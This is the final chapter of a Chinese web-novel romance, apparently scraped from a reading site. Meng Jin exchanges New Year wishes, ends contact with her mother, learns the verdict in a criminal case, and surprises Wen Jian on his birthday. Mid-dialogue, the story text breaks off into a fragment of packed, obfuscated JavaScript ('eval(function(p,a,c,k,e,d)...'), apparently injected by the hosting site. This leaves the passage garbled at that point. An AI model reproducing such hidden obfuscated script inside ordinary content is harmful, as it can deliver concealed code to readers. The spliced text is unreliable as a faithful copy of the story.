孟瑾:过年了,新年好呀。 她回:好,你和大班长也过年好!记得开心,记得好好爱自己呀! 孟瑾说:好,和他在一起我很开心,每天都很开心。我会好好爱自己的,你也要好好爱自己。 陈朵朵说好。 陈朵朵没有说她什么时候回来,孟瑾也没有问。 只要彼此都过得好,过得开心,回不回来,见不见面又有什么关系? 反正她们是一辈子的朋友,是这世上永远最亲的人。 孟瑾刚把手机装进口袋里,前面忽然有人唤她的名字:“孟瑾!” 孟瑾抬头,看见大步朝她走来的人是闻见。 闻见身上穿着长款的浅灰大衣,手里捧着一大束红玫瑰,暖黄的路灯影影绰绰洒在他清俊立体的侧脸上,照出他长睫细碎的简影,显得他整个人矜贵又帅气。 这一刻,仿如时光回溯,她又见到了十七岁初见,在那片金色晚霞里一步步朝她走来的那个白衣少年。 孟瑾笑了笑,然后蓦地跑起来,跑到他面前,闻见笑着张开胳膊,孟瑾没有犹豫,一头扎进他怀里。 将他抱得很紧很紧。 “新年快乐,孟小瑾!”闻见说。 孟瑾在他怀里蹭了蹭,抬头笑了:“新年快乐,阿见!” 闻见一愣,差点没反应过来:“你叫我什么!再叫一遍好不好?” 孟瑾:“我没叫什么呀,你听错了。” 她笑了笑,又说:“你怎么来了?” 闻见说:”我想你了,来接你回家的。” 孟瑾故意很夸张地瞪大眼睛,道:“天呐!高冷的闻教授什么时候学得这么油嘴滑舌了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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孟瑾也没再说话,将手机重新扔回副驾,点开免提,然后发动车子,准备出发。 “小瑾,是我,”电话那头传来不算陌生的声音,虽说不陌生,但也有差不多一年没听了,唐婉清说:“对不起,以前是我太自私了,都是我的错,是妈妈不好,你能原谅妈妈吗?” 孟瑾抬手推了推眼睛上的墨镜,她始终看着前方,没有侧头看手机:“没事,我理解。” 唐婉清笑着“哎”了几声,声音有些激动:“小瑾,小瑾我就知道你不会怪我的,我就知道你是最了解我,最能理解我的!我离婚了,离婚回国了,住在咱们家里,以前那个和你爸爸一起的家里,你回来吃饭吧,叫上闻见一起,你们两个一起回……” “谢谢,但是不用了,”孟瑾淡淡开口打断她,说:“我不会回去的,闻见也是。” 她轻轻吸了吸鼻子,又道:“很感谢您曾经对我做的一切,无论好坏。但是抱歉,我以后不会再和您见面了,也不会再接您的电话。” “就这样,挂吧。” 没关系,我不怪你。 但我也不爱你了。 几乎是同一时间,孟瑾又收到了方警官发来的一条短信,短信内容大概是:案子昨天开庭审理了,卓阳被判了死刑,立即执行,宋长林是无期,宋天宇背叛了六年,有期徒刑,缓刑一年执行。 孟瑾盯着手机看了好一会,回了一句:好的,谢谢您。 接着,她放下手机,闭着眼,缓缓往后靠到椅背上,如释重负般慢慢吐出一口气,心道:苏小姐,我们终于成功了,你可以放心了。 傍晚十八点,安城大学被一层淡金色的晚霞覆盖,被金红的夕阳包裹其中,身旁到处都是人,有学生,有老师,有牵手散步的年轻男女,有约着去操场打篮球的高个男生,还有三两成群,挽着胳膊看夕阳的小女生。 闻见走在人群中间,他身后是宽敞明亮的教师办公楼,他面前是一个晶莹剔透的超级大喷泉,但他没有抬头看周遭任何,他的注意力全在手里的手机上,他在准备给孟瑾打电话,问她今晚想吃什么。 然而没等闻见把电话拨通,孟瑾就毫无预兆出现在他面前了:“闻教授,别玩手机了,抬头看看我呗?” 闻见抬头,整个人彻底愣住两三秒,然后突然笑了:“小瑾,你怎么来了?” 孟瑾没有立刻说话。 她弯起眼睛笑了笑,眸子里全是晚霞璀璨的光。 她伸手往他手里放了一把车钥匙,在闻见愣愣眨眼,不知该做何反应的时候。 孟瑾突然伸手抱住他,跟只袋鼠似的挂在他脖子上,笑了笑,然后回答他说:“我来给你过生日的。闻教授,生日快乐!” 闻见的表情比方才更惊讶,他整个人都是懵的,说话声音都有点哽咽。 虽然他也不想这样,也知道这个反应很不浪漫,但他控制不住自己,他实在是太意外了:“你、你怎么知道身份证上不是我真正的生日?” 孟瑾闻言笑起来,她今天似乎很开心,从刚才到现在一直都在笑,孟瑾歪了歪头,笑着说:“因为高中有一次你跟我说过,虽然后来我忘了,但是我今天看我的日记本,就突然又想起来了。” 闻见这回彻底愣住了,他定定看着她,眼里刹那浮起一层水汽,闻见张嘴想说什么,却连一个字也说不出来。 因为他真的好激动,好幸福啊。 然而孟瑾却很满意他x着反应。 她说着,从闻见怀里跳下来,伸手牵住他的手,转身蓦地跑起来,边跑边说:“闻见,我想我外婆了,你陪我去看外婆吧。” “闻教授,你不用紧张,你是我喜欢的人,外婆一定也会喜欢你的。” “哦,对了,还有我爸爸。“ ——正文完——